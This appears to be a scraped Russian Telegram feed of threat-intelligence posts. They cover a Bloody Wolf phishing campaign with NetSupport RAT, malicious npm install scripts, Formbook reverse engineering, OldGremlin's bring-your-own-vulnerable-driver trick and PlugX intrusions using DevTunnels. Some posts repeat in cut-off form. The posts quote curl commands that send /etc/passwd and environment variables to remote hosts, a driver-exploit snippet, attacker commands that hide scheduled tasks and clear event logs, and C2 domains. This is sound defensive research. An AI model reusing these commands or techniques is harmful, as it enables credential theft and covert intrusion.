Возвращение blood’ного волка 🐺
С начала мая группой киберразведки PT ESC была обнаружена новая волна атак группировки Bloody Wolf на организации Киргизии.
Ранее коллеги описывали цепочку атаки этой группировки на пользователей из Казахстана и России. В текущей кампании мы видим почерк Bloody Wolf (за некоторыми исключениями).
Цепочка атаки все также начинается с фишингового письма с вложенным PDF-файлом (скриншот 1). В документе содержатся уведомление о проверке якобы от налоговой службы, генеральной прокуратуры или судебного департамента и ссылки для скачивания материалов. Для их открытия требуется Java, инструкция по ее установке также находится во вложениях. С начала мая мы выявили 40 подобных PDF-файлов, загруженных в публичные песочницы преимущественно из Киргизии (скриншоты 2–5)📁
Интересно, что ссылки для русского и киргизского языков различаются и ведут на разные домены, хотя итоговая нагрузка идентична, только имена создаваемых папок, ключей в реестре и задач планировщика другие. URL-адреса, по которым загружаются файлы, достаточно длинные, например:
Использование таких длинных URL-адресов может быть связано с маскировкой под структуру реальных государственных порталов, чтобы не вызывать подозрений у жертвы 🏢
После перехода по ссылке скачивается JAR-загрузчик (часть кода приведена на скриншоте 6). При запуске он создает папку с заданным именем в папке документов пользователя и скачивает набор файлов для NetSupport, предварительно проверяя доступность узла. Затем открывает
При этом в загрузчике есть проверка на количество запусков файла: если их будет более трех, то он не откроется. Кроме того, при выполнении
IoCs:
#TI #Phishing #APT
@ptescalator
С начала мая группой киберразведки PT ESC была обнаружена новая волна атак группировки Bloody Wolf на организации Киргизии.
Ранее коллеги описывали цепочку атаки этой группировки на пользователей из Казахстана и России. В текущей кампании мы видим почерк Bloody Wolf (за некоторыми исключениями).
Цепочка атаки все также начинается с фишингового письма с вложенным PDF-файлом (скриншот 1). В документе содержатся уведомление о проверке якобы от налоговой службы, генеральной прокуратуры или судебного департамента и ссылки для скачивания материалов. Для их открытия требуется Java, инструкция по ее установке также находится во вложениях. С начала мая мы выявили 40 подобных PDF-файлов, загруженных в публичные песочницы преимущественно из Киргизии (скриншоты 2–5)
Интересно, что ссылки для русского и киргизского языков различаются и ведут на разные домены, хотя итоговая нагрузка идентична, только имена создаваемых папок, ключей в реестре и задач планировщика другие. URL-адреса, по которым загружаются файлы, достаточно длинные, например:
http://esf-kg.com/api/public/storage/cases/7432612384dio/ispolnitelnyj_protsess/accounts/companies/clients/420523/attachments_823664/registered/files7312518/download/PostanovleniePrivate1.4KG.jar
Использование таких длинных URL-адресов может быть связано с маскировкой под структуру реальных государственных порталов, чтобы не вызывать подозрений у жертвы 🏢
После перехода по ссылке скачивается JAR-загрузчик (часть кода приведена на скриншоте 6). При запуске он создает папку с заданным именем в папке документов пользователя и скачивает набор файлов для NetSupport, предварительно проверяя доступность узла. Затем открывает
client32.exe — основной файл NetSupport, а также закрепляется тремя способами: через BAT-файл в папке автозагрузки, через ключ в реестре (Run) и через задачу планировщика с запуском при входе в систему. При этом в загрузчике есть проверка на количество запусков файла: если их будет более трех, то он не откроется. Кроме того, при выполнении
client32.exe появляется окно-заглушка: в последних семплах — сообщение об ошибке, ранее — приложение для проверки ИНН (скриншоты 7, 8).IoCs:
C2 NetSupport RAT:
hgame33.com
ravinads.com
Серверы для размещения полезной нагрузки JAR- и NetSupport-файлов:
auditnotice-kg.com
servicedoc-kg.com
esf-kg.com
tax-kg.com
minjust-kg.com
sti-salyk.com
sti-kg.com
PostanovleniePrivate1.4.jar
MD5:5c4a57e2e40049f8e8a6a74aa8085c80
SHA-1:15eb1cdd994b56f1d060137a2ac2f7fd7d10c48c
SHA-256:b10418925a91072e1e30438dc89ba12fbb3b0ead13f314919be33d476e3efa42
Постановление_Судебный_исполнитель_15833.pdf_с_уведомлением.pdf
MD5:b51d9edc1dc8b6200f260589a4300009
SHA-1:c5fcc1c71d5fbcadc2189d5cef6c026c14f4a11a
SHA-256:18d97b6014088df9ba731cf6327758fb500a0133b44c3d47122b341a3edb8d03
#TI #Phishing #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤18🔥10👍7🆒2
Node JS. Вредоносная активность на стадии установки
В рамках исследования действий злоумышленников в npm (Node Package Manager, основного репозитория JS-кода) мы решили одним глазком заглянуть в это направление.
В пакетах JavaScript существует механизм запуска скриптов на этапе установки. Он описывается в конфигурационном файле
Значения являются командами для системного интерпретатора, будь то sh, bash, fish или даже виндовый cmd — что стоит по умолчанию, то и будет использовано😎
Злоумышленники идут двумя путями в рамках эксплуатации возможности запустить свою нагрузку во время установки:
🫥 Запустить js-код
🫥 Исполнить команду системным интерпретатором:
Если пост соберет 1000 сердечек🥰 В следующий раз расскажем о разнообразии нагрузок-скриптов на этапе установки JS-пакетов.
#ti #scs #pyanalysis
@ptescalator
В рамках исследования действий злоумышленников в npm (Node Package Manager, основного репозитория JS-кода) мы решили одним глазком заглянуть в это направление.
В пакетах JavaScript существует механизм запуска скриптов на этапе установки. Он описывается в конфигурационном файле
package.json в секции scripts:{
"name": "<from-ptescalator-with-love>",
"version": "1.0.0",
"description": "Example config of package.json for demonstration-purposes",
"main": "hello.js",
"scripts": {
"preinstall": "echo \"I will be run at pre-install stage\"",
"install": "echo \"I will be run at install stage\"",
"postinstall": "echo \"I will be run at post-install stage\""
}
}
Значения являются командами для системного интерпретатора, будь то sh, bash, fish или даже виндовый cmd — что стоит по умолчанию, то и будет использовано
Злоумышленники идут двумя путями в рамках эксплуатации возможности запустить свою нагрузку во время установки:
atlas-websocket@33.9.9, postinstall:node index.js
wokes@1.0.0, postinstall:node cli/setup-security.js
autogestion-aprendizaje@1.0.4, preinstall, передача hostname:echo "No tests" && curl "http://[REDACTED].net/?NPM=$(hostname)&<template>"
bsee-shared-hmd@1.0.6, preinstall, кража /etc/passwd и получение hostname:sh -c 'curl -X POST -d "user=$(whoami)&host=$(hostname)&passwd=$(cat /etc/passwd | base64)" https://webhook-test.com/[REDACTED]'
storyblok-rich-text-astro-renderer-workspace@99.99.99, postinstall, кража переменных окружения:curl -X POST https://[REDACTED].oastify.com --data "$(env)"
arkoselabs@99.9.13, preinstall, кража переменных окружения, /etc/passwd, hostname и имени пользователя:curl --data-urlencode "info=$(hostname && whoami && cat /proc/self/environ && cat /etc/passwd)" http://[REDACTED].oast.me"
#ti #scs #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
❤40🔥9👍7🤡1
Углубление в импорты: продолжаем изучать способы статического резолва 🕵️♂️
Ранее мы рассказывали, как может быть реализован статический резолв импортов. Однако для полноты картины мы решили показать еще один пример того, какими бывают механизмы динамического разрешения импортов во вредоносном ПО и как с помощью статического анализа превратить группу непонятных байтов в осмысленные названия функций. Это поможет ускорить процесс реверса и избавит нас от необходимости ручной разметки.
В качестве примера рассмотрим один из свежих образцов Formbook. Позволим ему распаковаться, после чего сдампим и откроем его в IDA Pro. Побродив по функциям, можно заметить несколько закономерностей в вызовах, которые очень похожи на динамическое разрешение импортов (cкриншот 1).
❗️ Также следует обратить внимание, что функций с расшифровкой хешей две:
Заглянем внутрь обеих функций и увидим, что единственное различие между ними — подход к генерации ключа для RC4. Второй параметр в
Осталось понять, что происходит в вызове
Циклы до и после непосредственной расшифровки RC4 сводятся к последовательному попарному вычитанию соседних байтов сначала слева направо, а затем справа налево. Эквивалент кода на питоне представлен на скриншоте 4.
🧤 Дело осталось за малым — пройтись по ссылкам на эти две функции и собрать аргументы, после чего восстановить исходные имена импортов. Для реализации первой части определим класс
Чтобы получить имя оригинальной функции из хеша, воспользуемся утилитами flare-ida. Среди прочего там уже есть БД
Результат работы можно увидеть на скриншоте 7. Больше 80% найденных функций восстановились с ходу.
😎 Как и ожидалось, восстановленные хеши были созданы алгоритмом
#tip #reverse #malware
@ptescalator
Ранее мы рассказывали, как может быть реализован статический резолв импортов. Однако для полноты картины мы решили показать еще один пример того, какими бывают механизмы динамического разрешения импортов во вредоносном ПО и как с помощью статического анализа превратить группу непонятных байтов в осмысленные названия функций. Это поможет ускорить процесс реверса и избавит нас от необходимости ручной разметки.
В качестве примера рассмотрим один из свежих образцов Formbook. Позволим ему распаковаться, после чего сдампим и откроем его в IDA Pro. Побродив по функциям, можно заметить несколько закономерностей в вызовах, которые очень похожи на динамическое разрешение импортов (cкриншот 1).
decrypt_hash, которая использует только зашифрованный хеш функции, и decrypt_hash_xor, которая имеет дополнительный параметр, назначение которого станет известно позднее.Заглянем внутрь обеих функций и увидим, что единственное различие между ними — подход к генерации ключа для RC4. Второй параметр в
decrypt_hash_xor накладывается на жестко заданный ключ перед вызовом функции расшифровки (скриншот 2).Осталось понять, что происходит в вызове
decrypt_rc4_buff, и можно писать декриптор. Содержимое функции можно увидеть на скриншоте 3.Циклы до и после непосредственной расшифровки RC4 сводятся к последовательному попарному вычитанию соседних байтов сначала слева направо, а затем справа налево. Эквивалент кода на питоне представлен на скриншоте 4.
CallVisitor и определим в нем логику по сохранению нужной информации о вызове (скриншот 5). Такой подход удобнее, чем «ручной» поиск аргументов путем обратной итерации по инструкциям, предшествующим вызову, поскольку зачастую аргументы могут быть обфусцированы: разбросаны по телу вызывающей функции или вычисляться непосредственно перед вызовом.Чтобы получить имя оригинальной функции из хеша, воспользуемся утилитами flare-ida. Среди прочего там уже есть БД
sc_hashes.db с заранее просчитанными хешами для стандартных библиотек, которая позволит нам быстро восстановить большую часть импортов. Для отсутствующих в БД библиотек можно сгенерировать хеши самостоятельно лежащим рядом скриптом (скриншот 6).Результат работы можно увидеть на скриншоте 7. Больше 80% найденных функций восстановились с ходу.
crc32bzip2, они встречались и в более ранних семплах Formbook. Таким образом, нам удалось быстро восстановить импорты в исследуемом образце, а также понять общий подход к шифрованию данных в Formbook, что в дальнейшем значительно упрощает его анализ.#tip #reverse #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16❤12👍11✍2😁1
Как прошла ваша неделя? 🤨
Anonymous Poll
39%
Не взломали 😌
1%
Сменил провайдера MSSP/MDR 🔄
5%
Не улетел ✈️
3%
Потерял должность CISO 🚶♂️➡️
2%
Устроился на должность CISO 🚶♂️
4%
Не поел 🍔
4%
Не купил лекарства 💊
13%
Не выпил (но в международный день пива исправлю) 🍺
2%
Не зашел в магазин 🏪
28%
Не было времени читать посты 👨💻
👍14😁8❤5👎3🤮3👌2🔥1
OldGremlin with old tricks
OldGremlin известна как группировка вымогателей😭 . Для остановки работы антивирусов (да и любых программ) загружает TinyKiller, состоящий из трех файлов:
🐾
🐾
🐾
Патчер на самом деле эксплуатирует уязвимость CVE-2023-20598 в драйвере AMD для загрузки своего неподписанного драйвера😉 . Для этого используется старый трюк — обход защиты Driver Signature Enforcement (DSE), выключая внутренний флаг. В версиях Windows 8 до 9600 билда этот параметр назывался
Процесс получения адреса этого параметра достаточно трудоемок😫 и полностью описан в рамках этой статьи. Получив адрес флага, патчер использует уязвимый драйвер.
Если посмотреть обработчик сообщений, то уязвимыми для чтения и записи являются ioctl😨 . Злоумышленник использует первый вариант и составляет пакет для отправки драйверу:
Здесь address — это найденный ранее offset флага. Внутри драйвера это сообщение попадает в следующий обработчик, выполняющий прямой memmove значения address в output:
Очевидно😆 , чтобы отключить флаг проверки подписи и записать по этому адресу 0=disabled, необходимо просто поменять местами значения
Техника взятия с собой уязвимого драйвера (BYOVD) все чаще используется злоумышленниками для различных целей😶 . Большинство из них используют уже известные уязвимые драйверы, наличие которых можно обнаружить при помощи LOLDrivers или настройки списков исключений от Microsoft. Кроме того, стоит обращать внимание на запуск служб драйверов 😌 .
OldGremlin используют следующие команды для загрузки уязвимого драйвера и своего:
IoCs
#APT #ioc
@ptescalator
OldGremlin известна как группировка вымогателей
patcher_pdfw.exe — патчер для загрузки avkd.sys;avkd.sys — вредоносный драйвер;PdFwKrnl.sys — легитимный драйвер AMD Radeon Driver, уязвимый для чтения и записи.Патчер на самом деле эксплуатирует уязвимость CVE-2023-20598 в драйвере AMD для загрузки своего неподписанного драйвера
nt!g_CiEnabled и находился в ntoskrnl.exe. В последующих версиях за проверку подписи отвечал внутренний параметр CI!g_CiOptions из CI.dll.Процесс получения адреса этого параметра достаточно трудоемок
Если посмотреть обработчик сообщений, то уязвимыми для чтения и записи являются ioctl
0x80002014, 0x80002020, 0x80002028 и 0x8000202C BytesReturned = 0;
v5 = Msg;
for ( i = 0xCi64; i; --i )
*v5++ = 0;
*(_QWORD *)&Msg[0x18] = address;
*(_DWORD *)&Msg[0x28] = size; // eq 4
*(_QWORD *)&Msg[0x10] = output;
return DeviceIoControl(hDevice, 0x80002014, Msg, 0x30u, Msg, 0x30u, &BytesReturned, 0i64);
Здесь address — это найденный ранее offset флага. Внутри драйвера это сообщение попадает в следующий обработчик, выполняющий прямой memmove значения address в output:
mov r8d, [IRP+28h] ; MaxCount
mov rdx, [IRP+18h] ; Src
mov rcx, [IRP+10h] ; Dst
call memmove
Очевидно
Msg[0x18] и Msg[0x10]. После запуска вредоносного драйвера значение флага проверки подписи возвращают на место и выгружают из системы уязвимый драйвер. Техника взятия с собой уязвимого драйвера (BYOVD) все чаще используется злоумышленниками для различных целей
OldGremlin используют следующие команды для загрузки уязвимого драйвера и своего:
sc create vprovdrv binpath= "<path>\PdFwKrnl.sys" type= "kernel
sc start vprovdrv
sc create avkdriver binpath= "<path>\avkd.sys" type= "kernel
sc start avkdriver
IoCs
avkd.sys
eac69feccd33f6b97f7b60c1ded22d2b7f689921b28e531e7c2a925c09ce0936
patcher_pdwf.exe
116fbf458c1062303c2630116f8cad23d394106a5ddcc6d687f0f33dbe17a492
d236bfc015e735a64ad3c2d447fa70926b898a4e9b9af11f94b83ce768bbd434
PdFwKrnl.sys
0cf84400c09582ee2911a5b1582332c992d1cd29fcf811cb1dc00fcd61757db0
6945077a6846af3e4e2f6a2f533702f57e993c5b156b6965a552d6a5d63b7402
#APT #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥22❤13👍13
Operation Tartaria — PlugX 🤝 DevTunnels
В конце мая завершился PHDays Fest, в рамках которого на треке Defense команда 4RAYS рассказала про особенности работы планировщика задач Windows.
Практика команды PT ESC IR показывает, что закрепление через скрытые задачи — действительно достаточно редкий способ маскировки целевой атаки, но и в наших проектах мы периодически его встречаем. Расследуя инцидент в начале 2025 года, мы обнаружили скрытую задачу в дампе (триаже) на одном из узлов в скомпрометированной инфраструктуре. Для обнаружения подобных задач PT-Dumper проставляет ключи
Задача запускала
Зашифрованная нагрузка обновленного
Помимо запуска пассивного
Оказалось, что каждый раз, когда при старте
Таким образом атакующие, продвигаясь по сети, заражали системы пассивным бэкдором
Fun fact: при старте
Stay tuned!
#dfir #ti #apt #reverse #malware
@ptescalator
В конце мая завершился PHDays Fest, в рамках которого на треке Defense команда 4RAYS рассказала про особенности работы планировщика задач Windows.
Практика команды PT ESC IR показывает, что закрепление через скрытые задачи — действительно достаточно редкий способ маскировки целевой атаки, но и в наших проектах мы периодически его встречаем. Расследуя инцидент в начале 2025 года, мы обнаружили скрытую задачу в дампе (триаже) на одном из узлов в скомпрометированной инфраструктуре. Для обнаружения подобных задач PT-Dumper проставляет ключи
IsHiddenTask (удален SD — Security Descriptor) и IsMissingOnFS (XML отсутствует в файловой системе).{"TaskId":"[REDACTED]","TaskName":"7zup_Server","TaskRegistryPath":"\\7zup_Server","TaskAuthor":"[REDACTED]","IsHiddenTask":true,"IsMissingOnFS":true,"Action":{"Context":"Author","Properties":[{"Id":"","ActionName":"Execution","Arguments":"-remote up","Command":"C:\\PROGRA~1\\7-Zip\\7zUp.exe","WorkingDirectory":"","Flags":0}],"Version":3},"Triggers":[{"TriggerType":"Boot","Comment":"Boot"}],"CreatedTime":"2025-01-12T06:25:32Z","LastRunTime":"2025-06-18T18:17:23Z","LastErrorCode":"","Timeline":"2025-01-12T06:25:32Z"}
Задача запускала
7zUp.exe, который оказался уязвимым для техники DLL Side-Loading нативным отладчиком CDB.exe. При старте отладчик загружает вредоносную библиотеку dbgeng.dll, упакованную пакером VMProtect с кастомным названием секций. Зашифрованная нагрузка обновленного
PlugX доставляется в полезной нагрузке шеллкода manifest.txt, накрытого однобайтовым XOR. Аналогичная версия PlugX была описана в статье. Интересно отметить, что в полезной нагрузке затерты байты заголовков MZ и PE, хотя вся остальная структура заголовка сохранена.PlugX при старте записывает свой идентификатор в ключ реестра — HKLM\SOFTWARE\Clients\Mail\cf. Этот образец разделен на два логических модуля: один выполняет команды, другой является коннектором. Реализовано это посредством внедрения кода в процессы wksprt.exe и explorer.exe. Модули общаются через pipe \\.\PIPE\X<PID>. В найденных PlugX соединение с С2-сервером (0.0.0.0:53, 0.0.0.0:5355) было установлено через TCP, что указывает на более облегченную версию этого инструмента.Помимо запуска пассивного
PlugX мы обнаружили задачу, которая запускает исполняемый файл C:\Windows\System32\oobe\Setup.exe.<Exec>
<Command>C:\Windows\System32\oobe\Setup.exe</Command>
<Arguments>/ui</Arguments>
</Exec>
Оказалось, что каждый раз, когда при старте
Setup.exe возникает ошибка, запускается скрипт C:\Windows\Setup\Scripts\ErrorHandler.cmd. Подобная техника описана в блоге. В нашем случае атакующие запускали devNetwork.exe, который является туннелем DevTunnels.@echo off
taskkill /im devNetwork.exe /f
timeout /t 5 /nobreak >nul
C:\ProgramData\NetWorks\devNetwork.exe host [REDACTED]
timeout /t 2 /nobreak >nul
exit
Таким образом атакующие, продвигаясь по сети, заражали системы пассивным бэкдором
PlugX, а коммуникация с С2-сервером происходила с использованием легитимной утилиты DevTunnels.Fun fact: при старте
PlugX запускает кейлоггер, который является одним из плагинов и записывает нажатие клавиш в файл C:\Users\[REDACTED]\AppData\Roaming\ntuser.dat.LOG1 и буфер обмена в файл C:\Users\[REDACTED]\AppData\Roaming\ntuser.dat.LOG2. Изучив эти журналы, мы обнаружили ряд команд, которые выполняли атакующие в ходе развития атаки и продвижения по инфраструктуре:schtasks /create /RL HIGHEST /F /tn "7zup_Server" /tr "C:\PROGRA~1\7-Zip\7zUp.exe -remote up" /sc onstart /RU SYSTEM
schtasks /run /tn 7zup_Server
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\7zup_Server" /v SD /f
del %SystemRoot%\System32\Tasks\7zup_Server /f
...
whoami /groups
netsh advfirewall firewall add rule name="WinDeviceSync" protocol=TCP dir=in localport=5355 action=allow
wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" /q:true /ow:true /backup:false
nslookup autodiscover.<yourdomain>.com
...
Stay tuned!
#dfir #ti #apt #reverse #malware
@ptescalator
🔥27❤14👀7👍4🌭1🎃1🆒1
Operation Tartaria Part 2
Помимо пассивного бэкдора
🫣 Как и в предыдущем случае, мы имеем дело с двухмодульным бэкдором. Коннектор внедряется в процесс
При успешном старте исследуемый образец подключается к блогу на
Помимо Yandex Disk, бэкдор поддерживает возможность общения через Microsoft Graph и Dropbox:
Общение происходит посредством чтения и перезаписи файлов в заданной папке в облаке. Сами файлы защищены шифром простой замены, а структура сообщений отличается в зависимости от выполняемой команды. Однако везде используется один и тот же
☝️ Примечательны следующие функции бэкдора:
• возможность получать шеллкоды и PE-файлы, внедряя их в процессы
• выполнение WMI-запросов для получения информации о системе:
• отключение всех сетевых соединений API WNetCancelConnection2W;
• изменение параметров входа в учетную запись или пароля через API NetUserSetInfo.
C2:
✅ Рекомендации:
• запрет DevTunnels с помощью групповой политики;
• поиск скрытых задач;
• поиск задач с параметром:
• поиск идентификатора
Happy hunting!
@ptescalator
#dfir #ti #apt #reverse #malware
Помимо пассивного бэкдора
PlugX, нам удалось обнаружить еще одну его версию, которая мимикрировала под запуск Яндекс Браузера.{"TaskId":"[REDACTED]","TaskName":"Yandexstart_Server","TaskRegistryPath":"\\Yandexstart_Server","TaskAuthor":"[REDACTED]","IsHiddenTask":false,"IsMissingOnFS":true,"Action":{"Context":"Author","Properties":[{"Id":"","ActionName":"Execution","Arguments":"-d restart","Command":"C:\\PROGRA~1\\Yandex\\browser\\Yandex.exe","WorkingDirectory":"","Flags":0}],"Version":3},"Triggers":[{"TriggerType":"Boot","Comment":"Boot"}],"CreatedTime":"2024-12-11T01:11:34Z","LastRunTime":"2025-06-23T06:37:17Z","LastErrorCode":1223,"Timeline":"2024-12-11T01:11:34Z"}
Yandex.exe оказался уязвимым для техники DLL Side-Loading, выполняемой утилитой Umdh.exe (User-Mode Dump Heap), которая подгружает вредоносную библиотеку dbghelp.dll под пакером VMProtect с кастомным названием секций; нагрузка хранится в файле desktop.ini.🫣 Как и в предыдущем случае, мы имеем дело с двухмодульным бэкдором. Коннектор внедряется в процесс
choice.exe, а интерпретатор команд — в mspaint.exe. Процессы общаются через pipe .\\PIPE\\[%d].При успешном старте исследуемый образец подключается к блогу на
livejournal.com (скриншот 1) и на ok.ru (скриншоты 2-3). Далее парсит содержимое ответа и ищет последовательность, которая начинается с R241223 и заканчивается на R251223 и внутри которой находится зашифрованный токен для API Yandex Disk. Далее коммуникация бэкдора происходит через API. Аналогичный образец был описан в «CloudSorcerer: новая APT-угроза, нацеленная на российские государственные организации».Помимо Yandex Disk, бэкдор поддерживает возможность общения через Microsoft Graph и Dropbox:
cloud-api.yandex.net
graph.microsoft.com
content.dropboxapi.com
Общение происходит посредством чтения и перезаписи файлов в заданной папке в облаке. Сами файлы защищены шифром простой замены, а структура сообщений отличается в зависимости от выполняемой команды. Однако везде используется один и тот же
header:0 2 6 10 14
| command | msg size | short answer | ticketcount |
☝️ Примечательны следующие функции бэкдора:
• возможность получать шеллкоды и PE-файлы, внедряя их в процессы
TSTheme.exe и msiexec.exe;• выполнение WMI-запросов для получения информации о системе:
SELECT * FROM Win32_OperatingSystem
SELECT * FROM Win32_TimeZone
SELECT * FROM Win32_ComputerSystem
SELECT * FROM Win32_QuickFixEngineering
• отключение всех сетевых соединений API WNetCancelConnection2W;
• изменение параметров входа в учетную запись или пароля через API NetUserSetInfo.
C2:
devtunnels.ms
https://anddes.livejournal.com/511.html
https://ok.ru/profile/587950172233/statuses/157023463517001
✅ Рекомендации:
• запрет DevTunnels с помощью групповой политики;
• поиск скрытых задач;
• поиск задач с параметром:
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" /s | findstr "2D00720065006D006F0074006500200075007000"
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" /s | findstr "2d00640020007200650073007400610072007400"
• поиск идентификатора
PlugX:reg query HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail\cf
Happy hunting!
@ptescalator
#dfir #ti #apt #reverse #malware
❤17🔥17👍11⚡3🤡2🍌1
Во Всемирный день кошек самое время спросить: какие из них вам нравятся? 😊
Anonymous Poll
22%
cat ./passwords.txt 🐈
16%
hashcat -m 0 -a 0 hash.txt rockyou.txt 🐱
20%
mimiKATz 🐱
2%
zcat *.log.gz 🐱
16%
netcat 🐈
11%
suriCATa 😺
2%
Dark Caracal 😺
3%
Charming Kitten 😺
1%
Golden RAT (не люблю котов) 🐀
7%
HellHounds (я собачник) 🕺
😎8❤6👾5